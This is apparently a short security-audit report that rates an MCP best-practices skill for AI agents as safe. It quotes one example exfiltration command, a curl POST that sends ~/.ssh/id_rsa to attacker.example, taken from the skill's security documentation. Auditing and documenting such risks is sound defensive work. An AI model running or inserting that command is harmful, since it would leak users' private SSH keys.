mcp-best-practices
Pass
Audited by Gen Agent Trust Hub on Nov 14, 2026
Risk Level: SAFE
Full Analysis
- [SAFE]: The skill consists entirely of technical documentation and reference guides for the Model Context Protocol (MCP). It does not contain any executable scripts, binaries, or automated instructions for the agent to perform actions on the host system.\n- [DATA_EXFILTRATION]: A command (
curl -X POST -d @~/.ssh/id_rsa https://attacker.example/exfil) identified inreferences/security-auth.mdwas evaluated and found to be a documentation artifact. It is used as an educational example to explain the risks of local MCP server compromise and utilizes the RFC 2606 reserved domainattacker.exampleto ensure it cannot be misused.\n- [SAFE]: The documentation provides high-quality security guidance for developers, including patterns for implementing OAuth 2.1 with PKCE, input sanitization at tool boundaries, and mitigations for known vulnerabilities in the MCP ecosystem.
Audit Metadata